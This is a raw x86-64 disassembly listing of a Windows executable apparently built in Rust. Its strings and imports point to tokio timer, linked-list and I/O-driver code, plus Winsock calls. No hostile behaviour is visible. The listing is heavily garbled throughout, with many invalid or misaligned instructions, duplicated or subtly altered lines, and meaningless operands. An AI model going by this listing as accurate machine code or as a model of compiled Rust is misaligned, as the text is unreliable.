add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0xb76bd
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcutillinked_list.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
cmp byte [rax], al
je 0x14014ddd5
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401de99c]
mov r8d, 4
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
je 0x14014dd6b
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1401de9e0]
or al, 9
add byte [rax - 0x73], cl
and al, 0x28
sbb byte [rax - 0x77], cl
je 0x14014dd6b
or al, 9
add byte [rax - 0x73], cl
and al, 0x28
lea rdx, [rsp + 0x40]
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14014ddf7
je 0x14014ddad
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
add al, 0xc3
or byte [rax], al
add al, 0xc3
or byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne loc.14014ddf9
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x92180
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp loc.14014ddf9
sbb byte [rax - 0x73], cl
adc eax, 0x90bb0
mov r8d, 4
add rsp, 0x48
pop rbx
pop rsi
jmp rax
and byte [rax + 0x75013879], al
mov rbx, rcx
mov rsi, qword [rcx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14014df63
add byte [rax], al
add byte [rax], al
xor edi, edi
movzx eax, byte [rsi + 8]
mov r8, qword [rsi + 0x20]
mov rax, qword [rbx + 0x30]
cmp rax, 3
jae 0x14014df91
add dword ss:[rax], eax
invalid
add dword ss:[rax], eax
add byte [rax - 0x73], cl
push rbx
adc byte [rax - 0x73], cl
adc byte [rbx + r9*4 + 0xa], r9b
test r9, r9
je 0x14014de94
invalid
sub dword [rbx + rcx*4 + 0x53], ecx
sbb byte [rbp - 0x77], cl
push rcx
or byte [rbx + rcx*4 + 0x4b], cl
sbb byte [rbp - 0x7b], cl
leave
jne 0x14014deaf
cmp qword [rsi + 0x18], rdx
jne 0x14014debb
lea r9, [rsi + 0x18]
jmp 0x14014deaf
je 0x14014dea3
test r9, r9
je 0x14014dec3
jmp 0x14014dece
mov r9, qword [rbx + 0x18]
mov qword [rcx], r9
or dword [rbp - 0x7b], ecx
leave
or dword [rbp - 0x7b], ecx
leave
je 0x14014de7c
mov r10, qword [rdx]
mov qword [r9], r10
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov r9, qword [rcx]
test r9, r9
jne 0x14014dece
cmp qword [rsi + 0x18], 0
jne 0x14014dfab
lea rdx, [rsi + 0x20]
test r9, r9
jne 0x14014deee
mov r9d, r8d
and r9d, 3
cmp r9d, 1
jne 0x14014deee
and r8, 0xfffffffffffffffc
mov r9, r8
xchg qword [rdx], r9
movabs r14, 0x7fffffffffffffff
cmp rax, 1
jne 0x14014df3d
call fcn.14014a9d0
test rax, rax
je 0x14014df3d
mov rbx, rdx
mov r15, rax
test dil, dil
jne case.0x140107dc6.1345
mov rax, qword [0x1402153f0]
test rax, r14
jne 0x14014df82
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rcx, rbx
mov rax, r15
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [rax + ioctlsocket]
test dil, dil
jne case.0x140107dc6.1342
mov rax, qword [0x1402153f0]
test rax, r14
jne 0x14014df73
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
add byte [rax + rax*8 + 0x46c6d275], al
or byte [rcx], al
jmp case.0x140107dc6.1342
call fcn.1401666c0
test al, al
jne case.0x140107dc6.1345
mov byte [rsi + 8], 1
jmp case.0x140107dc6.1345
add ebx, ebp
mov cs, word [rax - 0x73]
or eax, 0x904d0
lea r8, [0x1401e1170]
mov edx, 0x28
add byte [rax], al
add byte [rax], al
call fcn.140160fb0
ud2
lea ecx, str.assertion_failed:_self.tail.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcutillinked_list.rs
mov edx, 0x25
call fcn.140160fb0
ud2
sub rsp, 0x78
movzx eax, byte [rcx]
cmp eax, 1
je 0x14014dff4
cmp eax, 2
jne 0x14014e007
lea rax, [0x1401e1357]
mov qword [rsp + 0x28], rax
mov eax, 0x32
add bl, ch
invalid
add bl, ch
and al, 0x48
lea eax, str.the_timer_is_shutdown__must_be_called_from_the_context_of_Tokio_runtimetimer_is_at_capacity_and_cannot_create_a_new_entrytimer_duration_exceeds_maximum_durationdeadline_has_elapsed_period__must_be_non_zero.
lea rax, str.the_timer_is_shutdown__must_be_called_from_the_context_of_Tokio_runtimetimer_is_at_capacity_and_cannot_create_a_new_entrytimer_duration_exceeds_maximum_durationdeadline_has_elapsed_period__must_be_non_zero.
mov qword [rsp + 0x28], rax
mov eax, 0x47
jmp 0x14014e018
lea rax, [0x1401e1389]
jnp 0x14014e03f
or dword [rax], eax
mov qword [rsp + 0x28], rax
mov eax, 0x27
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
lea rax, [0x140204aa8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x68
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x58], rax
pop rax
pop rax
mov qword [rsp + 0x60], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x48]
call fcn.140059e20
mov ebp, 0x4890fff0
add esp, 0x78
mov ebp, 0x4890fff0
add esp, 0x78
ret
or dword [rax], eax
mov r8d, setsockopt
jmp fcn.140059ad0
int3
in al, dx
jo 0x14014e0f3
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rbx + 0xe0], 1
sal byte [rdx + 0xc], 0
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0xdd], al
jmp fcn.14014e155
adc al, 0x48
cmp eax, 2
jne 0x14014e244
mov rcx, qword [rsi + 0x50]
mov qword [rsi + 0x48], rax
mov qword [rsi + 0x50], rdx
xor edx, edx
mov eax, 1
lock cmpxchg qword [rsi + 0x58], rdx
jne 0x14014e219
test r8, r8
je 0x14014e244
call qword [r8 + 0x18]
jmp 0x14014e244
mov eax, dword [rsi]
mov rcx, qword [r14 + 8]
call qword [rax + reloc.WS2_32.dll_recv]
mov sil, 1
jmp 0x14014e2d2
mov r14, qword [rsi + 0x48]
mov rdi, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
xor eax, eax
xchg qword [rsi + 0x58], rax
test r8, r8
invalid
sal byte [rsp + rax + 0x41], 0xff
push rax
or byte [rbp - 0x7b], cl
div byte [rdi + rax + 0x48]
mov ecx, edi
je 0x14014e238
call qword [rioctlsocket + 8]
test r14, r14
je 0x14014e244
mov rcx, rdi
call qword [r14 + ioctlsocket]
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
cmp rax, 0xffffffffffffffff
je 0x14014e2c8
mov sil, 1
test bpl, bpl
je 0x14014e2d2
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14014e2a6
test eax, eax
jne 0x14014e2d2
pop rcx
pop rcx
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
invalid
invalid
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
invalid
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xdc], 1
mov byte [rax + 0xdd], bl
fld qword [rax]
add byte [rax], al
fld qword [rax]
add byte [rax], al
jmp 0x14014e2d2
movzx eax, byte [rsi + 0x60]
test al, al
jne case.0x14012f071.1623
xor esi, esi
mov eax, esi
add rsp, 0x70
add esp, 0x70
add esp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
and al, 0x20
add dword [rax], eax
add byte [rax], al
lea rdx, [0x140204aa8]
lea rsi, [rsp + 0x40]
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov r8d, 1
mov rcx, rsi
int1
int1
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_timeentry.rs
mov rcx, rsi
call fcn.140160e20
ud2
mov byte [rsp + 0x2f], al
lea rax, [rsp + 0x2f]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
lea rax, case.0x140107dc6.1354
mov qword [rsp + 0x38], rax
dec dword [rax - 0x77]
and al, 0x38
mov qword [rsp + 0x20], 1
lea rdx, str.timer_error:
or dword [rax], eax
and byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x93204
or dword [rax], eax
or dword [rax], eax
lea rsi, [rsp + 0x40]
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_time_sleep.rs
mov rcx, rsi
call fcn.140160e20
ud2
push 0x48cb8944
mov esi, ecx
mov qword [rcx + 0x10], rdx
mov dword [rcx + 0x18], r8d
mov byte [rcx + 0x68], r9b
mov rcx, qword [rcx + 8]
cmp qword [rsi], 0
mov eax, 0xc0
mov r9d, 0x128
cmove r9, rax
mov eax, dword [rcx + r9 + 0xd0]
cmp eax, 0x3b9aca00
je 0x14014e7a5
add rcx, r9
add rcx, 0x10
mov r9, qword [rcx + 0xb8]
add byte [rax], al
add byte [rax], al
cmp r8d, 0x3b8b87c0
jbe 0x14014e415
inc rdx
je case.0x14012f071.1546
add r8d, 0xc474783f
add eax, 0xc474783f
jmp 0x14014e41c
add r8d, 0xf423f
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rdx, rcx
jb case.0x140107dc6.1305
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x40], r8d
lea rcx, [rsp + 0x38]
mov rdx, r9
mov r8d, eax
call fcn.14013adc0
mov ecx, edx
imul rbp, rcx, 0x431bde83
shr rbp, 0x32
xor ecx, ecx
cmp edx, 0x3b9aca00
cmove rax, rcx
cmove ebp, ecx
mov ecx, 0x3e8
mul rcx
add rbp, rax
adc rdx, 0
mov rcx, 0xfffffffffffffffd
invalid
invalid
dec dword [rax + 0xf]
jmp 0x1608b71df
mov rax, qword [rsi + 0x40]
cmp rbp, 0xfffffffffffffffd
cmovb rcx, rbp
nop
leave
add dl, cl
invalid
invalid
cmp rax, rcx
ja 0x14014e4b2
enter 0xd77, 0xfffffffffffffff0
cmpxchg qword [rsi + 0x40], rbp
lock cmpxchg qword [rsi + 0x40], rbp
jne 0x14014e4a0
jmp 0x14014e751
test bl, bl
je 0x14014e751
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14014e763
xor ebx, ebx
movzx eax, byte [r15 + 0x68]
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14014e533
lea rcx, [r15 + 0x70]
mov rdx, r14
call fcn.14014bd20
movzx eax, byte [r15 + 0xb0]
test al, al
je 0x14014e574
add byte [rax + rax*8 - 0x74b7ca8c], al
cmp rax, 0xffffffffffffffff
cmp eax, 0xffffffff
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
cmp eax, 0xffffffff
cmp eax, 0xffffffff
je 0x14014e6e4
mov byte [rsi + 0x60], 1
mov qword [rsi + 0x40], 0xffffffffffffffff
dec dword [rax - 0x75]
pop rax
invalid
invalid
dec dword [rax - 0x75]
pop rax
nop dword [rax]
mov rcx, rax
or rcx, 2
or ecx, 2
ror dword [rax - 0x7d], 0xc9
add dh, al
cmpxchg qword [rsi + 0x58], rcx
pop rax
or ecx, 2
lock cmpxchg qword [rsi + 0x58], rcx
pop rax
jne 0x14014e560
jmp 0x14014e6df
mov qword [rsi + 0x40], rbp
mov qword [rsi + 0x30], rbp
mov dword [rsi + 0x30], ebp
mov dword [rsi + 0x30], ebp
mov r8, qword [rsi + 0x40]
cmp r8, 0xffffffffffffffff
je 0x14014e815
mov rax, qword [r15 + 0x88]
cmp r8, rax
jbe 0x14014e6b6
enter 0x483f, 0xffffffffffffffb9
invalid
xor al, 1
movzx eax, al
imul ecx, eax, 0x2b
shr ecx, 8
mov rdx, qword [r15 + 0x80]
add byte [rax], al
add byte [rax + 0x39], cl
invalid
add byte [rax], al
add byte [rax + 0x39], cl
retf 0x860f
invalid
invalid
jbe case.0x14012f071.1533
add byte [rax], al
mov rax, qword [rsi + 0x30]
mov ecx, dword [rdx + r9 + 0x400]
add ecx, ecx
lea ecx, [rcx + rcx*2]
shr rax, cl
call 0x14a297346
call 0x14a297346
and eax, 0x3f
mov r11, rax
shl r11, 4
lea rcx, [r10 + r11]
mov qword [rsp + 0x30], r14
je 0x14014e62e
xor byte [rbx - 0x75], cl
sub al, 0x13
invalid
loopne 0x14014e63a
je 0x14014e62e
adc ecx, dword [rcx + rdi - 0xb]
cmp rbp, r14
je 0x14014e82f
mov dword [rsi + 0x20], 0
test rbp, rbp
je 0x14014e62d
jl 0x14014e64e
add byte [rax], al
mov ecx, eax
shl r10, cl
or qword [rdx + r9 + 0x408], r10
mov rax, qword [r15 + 0xa8]
add byte [rax - 1], cl
enter 0x394c, 0xffffffffffffffc0
add byte [rax - 1], cl
enter 0x394c, 0xffffffffffffffc0
jb 0x14014e6e4
add dword [rax], eax
add byte [rcx - 0x75], cl
or byte [r9 - 0x75], r9b
push rdi
adc al, ch
invalid
mov qword [rsp + 0x38], rax
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtimeiodriver.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_wake_I_O_driver
invalid
or dword [rax], eax
lea r9, [0x1401de7b8]
lea r8, [rsp + 0x38]
mov edx, 0x19
call fcn.140161200
sub r8, qword [rcx]
add byte [rdi], cl
invalid
invalid
sub r8, qword [rcx]
add byte [rdi], cl
or ecx, dword [rax - 0x75]
cmp rax, 0xffffffffffffffff
je 0x14014e6e4
mov dword [rsi + 0x40], 0xffffffff
mov rax, qword [rsi + 0x58]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
mov cl, 0x4e
pop rax
mov cl, 0x4e
pop rax
jne 0x14014e6d0
test rax, rax
je 0x14014e70c
xor eax, eax
mov rsi, rax
test bl, bl
jne 0x14014e729
mov rax, qword [0x1402153f0]
add eax, 0xc6cfc
shl rax, 1
test rax, rax
je 0x14014e729
call fcn.1401666c0
test al, al
jne 0x14014e729
invalid
and al, 0x41
mov byte [rdi + 0x68], 1
jmp 0x14014e729
add byte [rax], al
add al, dh
and qword [rsi + 0x58], 0xfffffffffffffffd
mov rsi, rax
test bl, bl
je 0x14014e6ed
mov rcx, rdi
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test rsi, rsi
je 0x14014e751
invalid
mov rax, rsi
mov rcx, r14
add rsp, 0x68
invalid
invalid
pop rbx
pop rbp
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [rax + ioctlsocket]
nop
add rsp, 0x68
invalid
invalid
pop rbx
pop rbp
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401666c0
mov ebx, eax
ret
xor bl, 1
ret
movzx eax, byte [r15 + 0x68]
mov rax, qword [rsi + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14014e527
invalid
invalid
invalid
jmp 0x14014e533
std
invalid
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_timewheelmod.rs
call fcn.140160ed0
ud2
lea rcx, [0x1401df508]
or dword [rax], eax
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_timeentry.rs
mov edx, reloc.WS2_32.dll_WSAStartup
call fcn.140161290
shr dword [rdx], cl
add dword [rax], eax
shr dword [rdx], cl
add dword [rax], eax
ud2
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
and al, 0x40
add dword [rax], eax
add byte [rax], al
and al, 0x40
add dword [rax], eax
add byte [rax], al
lea rax, [0x140204680]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
and al, 0x50
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
lea edx, [0x1401dacf0]
lea rcx, [rsp + 0x38]
call fcn.140160e20
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
invalid
lea r8, [0x1401dbd90]
mov edx, 0x28
add al, ch
jge 0x14014e83b
sub al, byte [rcx]
invalid
add al, ch
jge 0x14014e83b
invalid
sub al, byte [rcx]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x91804
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_timeentry.rs
add byte [rdx + 0x13], bh
add dword [rax], eax
ud2
add byte [rdx + 0x13], bh
add byte [rax], al
add al, ch
invalid
call fcn.140161290
ud2
add byte [rax - 0x73], cl
push rsp
and al, 0x30
lea r8, [rsp + 0x38]
call fcn.140167a90
ud2
int3
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
mov r14, r9
mov edi, r8d
mov rbx, rdx
ror dword [rax - 0x77], cl
invalid
mov rcx, r9
call fcn.140144d20
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
sub byte [rax - 0x73], cl
mov ch, byte [rax]
add dword [rax], eax
add byte [rbp + rcx*4 - 0x7e], cl
rol byte [rax], 0
add byte [rax - 0x7b], cl
ror byte [rcx + 0xf], 0x44
enter 0xffffffffffffb981, 0xffffffffffffffd0
add byte [rax], al
add byte [rax], al
retf 0x3b9a
je 0x14014e94c
ror dword [rax - 0x77], cl
invalid
sub byte [rax - 0x73], cl
mov ch, byte [rax]
add dword [rax], eax
add byte [rbp + rcx*4 - 0x7e], cl
rol byte [rax], 0
add byte [rax - 0x7b], cl
ror byte [rcx + 0xf], 0x44
enter 0xffffffffffffb981, 0xffffffffffffffd0
add byte [rax], al
add byte [rax], al
retf 0x3b9a
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
lock xadd qword [rdx], r8
test rax, rax
je 0x14014e8bb
adc cl, ch
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x88
mov byte [rsi + 0x31000000], bl
mov byte [rsi + 0x31000000], bl
leave
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
adc dword [rsp + 0x48], eax
adc dword [rsp + 0x48], eax
movups xmmword [rsp + 0x38], xmm0
mov r8d, dword [rsp + 0x54]
mov eax, dword [rsp + 0x54]
mov eax, dword [rsp + 0x54]
mov dword [rsi + 0x3c], r8d
movups xmm0, xmmword [rsp + 0x44]
and al, 0x44
and al, 0x44
movups xmmword [rsi + 0x2c], xmm0
movups xmm0, xmmword [rsp + 0x34]
xor al, 0xf
adc dword [rsi + 0x1c], eax
xor al, 0xf
adc dword [rsi + 0x1c], eax
mov qword [rsi], rcx
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x18], edi
mov qword [rsi + 0x40], 0xffffffffffffffff
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x39]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
pop rax
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], cl
pop rsi
adc byte [rcx - 0x38b7e782], cl
invalid
add byte [rax], al
add byte [rax - 0x39], cl
pop rax
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0x60], 0
mov byte [rsi + 0x68], 0
lock dec qword [rdx]
dec dword [rdx]
dec dword [rdx]
lea rcx, [rsp + 0x28]
sete dl
test rax, rax
je 0x14014e938
test dl, dl
je 0x14014e941
call fcn.1401439e0
jmp 0x14014e941
push rax
invalid
test dl, dl
je 0x14014e941
call fcn.1401438f0
nop
add rsp, 0x58
invalid
pop rax
pop rbx
pop rdi
invalid
pop rsi
pop r14
ret
invalid
sub dword [rcx], eax
add byte [rdi], cl
or ecx, dword [rdi]
or ecx, dword [rdi]
or ecx, esp
int3
push rsi
push rdi
push rbx
sub rsp, 0x58
mov rsi, r9
mov ebx, r8d
mov r14, rdx
mov rdi, rcx
call fcn.14013ac10
ret 0xfffe
ret 0xfffe
add rax, r14
jb 0x14014e9a7
mov r8d, edx
add r8d, ebx
cmp r8d, 0x3b9aca00
jb 0x14014ea2c
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 1], cl
inc rax
jne 0x14014ea25
call fcn.14013ac10
inc rax
jne 0x14014ea25
call fcn.14013ac10
add rax, 0x38640900
jb 0x14014ea5d
invalid
add byte [rcx - 0x77], al
rol byte [rcx - 0x65360006], 1
cmp esi, dword [rsi + 0x10]
mov r8d, edx
cmp edx, 0x3b9ac9ff
jbe 0x14014e9d3
inc rax
je 0x14014ea5d
add r8d, 0xc4653600
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jae 0x14014ea3d
add eax, 0x8c2a8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
add byte [rax], al
add byte [rax], al
lea rax, [0x140204680]
add eax, 0xb5c7b
jnp 0x14014ea5f
or eax, dword [rax]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
lea edx, [0x1401dacf0]
lea edx, [0x1401dacf0]
xlatb
ret 8
lea rcx, [rsp + 0x28]
call fcn.140160e20
ud2
sub al, ch
std
and eax, dword [rcx]
add byte [rdi], cl
or eax, dword [rcx - 0x7f]
rol byte [rax], 0x36
invalid
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
leave
or dword [rbx + 4], 0
leave
or dword [rbx + 4], 0
shr rcx, 0x27
imul ecx, ecx, 0x3b9aca00
add dl, cl
invalid
cmp eax, dword [rcx + 0x29]
enter 0xffffffffffff8948, 0xfffffffffffffff9
add dl, cl
invalid
mov rdx, rax
mov r9, rsi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x14014e850
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea ecx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
or eax, 0x8d2ec
lea r8, [0x1401dbd90]
mov edx, 0x28
call fcn.140161290
add dword [rax], eax
add dword [rax], eax
ud2
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x92b03
or dword [rax], eax
or dword [rax], eax
mov r8d, 7
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
je 0x14014eace
invalid
mov byte [rsp + 0x38], al
sbb byte [rax - 0x77], cl
je 0x14014eace
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1401dea00]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
mov dh, 0x4c
and al, 0x38
mov dh, 0x4c
and al, 0x38
test rax, rax
je 0x14014eb38
push rsi
mov bl, 1
test cl, cl
jne 0x14014eb3a
mov rsi, qword [rsp + 0x30]
cmp rax, 1
cmp eax, 1
cmp eax, 1
jne 0x14014eb1c
cmp byte [rsp + 0x39], 0
je 0x14014eb1c
test byte [rsi + 0x34], 4
jne 0x14014eb1c
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14014eb3a
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14014eb3a
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
int3
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
xor r14b, r15b
invalid
rol byte [rax], 1
sbb byte [r8 - 0x7b], cl
leave
mov ecx, edi
loopne 0x14014ec0b
mov ebp, dword [rbx + 0x20]
mov r15, qword [rbx + 0x18]
mov r9, qword [rbx]
mov rdx, qword [rbx + 8]
test r9, r9
mov rax, rdx
cmove rax, r9
cmove eax, ecx
lea r10, [r15 + r13]
cmp r10, rax
cmp edx, eax
and byte [rcx + rcx*4 + 0x4d], cl
sbb byte [rax - 0x77], cl
push rbp
adc byte [rax - 0x77], cl
pop rbp
or byte [rax - 0x77], cl
jne 0x14014ecd6
add byte [rbp + 1], cl
in eax, 0xf
invalid
invalid
adc al, 0x2e
add al, byte [rax]
add byte [rbp + 0x39], cl
cmc
or eax, 0xc6534
invalid
lahf
add byte [rdi], cl
mov dh, 5
push rax
or al, 0
or al, 0
xchg ecx, eax
add dword [rax], eax
adc dword [rax + 0x10], eax
sar bh, cl
adc eax, 0x190f7
mov dword [rax], edi
cmp byte [rax - 0x39], cl
or byte [rdi], bpl
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rax + 0x10], 0x2f
movzx eax, byte [0x1402153f8]
add eax, 0xc6491
add eax, 0xc6491
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
stc
stc
sub byte [rcx], cl
add byte [rbp + rcx*4 + 5], cl
xor dword [rax], ebp
or dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x9283d
mov ecx, 1
call fcn.1401372e0
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
invalid
invalid
lea edx, str.LengthDelimitedCodecErrorframe_size_too_bigmessagealready_mutably_borrowed
int3
or byte [rbp + 1], 0xc1
invalid
enter 0x4101, 0xffffffffffffff89
add byte [rcx - 0x7f], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rbp - 0x3e16cfbe], cl
invalid
add eax, dword [rax]
invalid
add byte [rbp + 0x113cde42], cl
invalid
push 0x31000000
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
invalid
add edi, eax
or byte [r10], al
add byte [rcx], dl
add bl, al
ror byte [rbp + rcx*4 + 5], 1
test dword [rbx], ecx
add cl, ch
popfq
add dword [rax], eax
int 3
add byte [rax], al
mov eax, 0x8d000003
invalid
add byte [rax], al
add byte [rbp - 0xbbf7e], cl
hlt
invalid
invalid
add byte [rdi], cl
ret 0x7ae9
add eax, dword [rax]
add byte [rax - 0x48], cl
invalid
invalid
jae 0x14014f70d
invalid
add edi, eax
invalid
ror byte [rcx], 0xd0
add byte [rax], al
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
mov esi, 0x48000002
add byte [rax], al
mov qword [rcx], rax
add cl, ch
fld dword [rdx]
add byte [rax], al
ret 0xc3e9
add al, byte [rax]
add byte [rax - 0x48], cl
invalid
invalid
je 0x14014f7c4
invalid
adc dword [rax], eax
adc dword [rax], eax
add dword [rax], eax
lea edx, [0x14020c070]
mov eax, 0x3c5
adc eax, dword [rbx]
add byte [rax], al
add byte [rbx], dl
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rcx], rax
mov dword [rcx + 8], 0x110002
add bl, al
mov word [rdi - 0x69170000], fs
pop rax
invalid
clc
add byte [rbp + rcx*4 + 5], cl
add byte [rax], al
mov word [rsi - 0x72000003], fs
adc eax, 0x820f033c
adc esi, edi
invalid
invalid
add byte [rax], al
add byte [rax - 0x7bf08706], al
cmp dl, 0x78
invalid
invalid
outsb dx, byte [rsi]
std
add eax, dword [rax]
add byte [rbx], dl
adc eax, dword [rbx]
add byte [rax], al
invalid
invalid
call 0xc014f99c
cli
nop
add byte [rax], al
add byte [rax + 0x7f7590fa], al
add edi, eax
or byte [r9], al
add eax, dword [rax]
add bl, al
pop rax
invalid
stc
invalid
add ecx, dword [rdi]
xor ecx, 0
add byte [rax], al
invalid
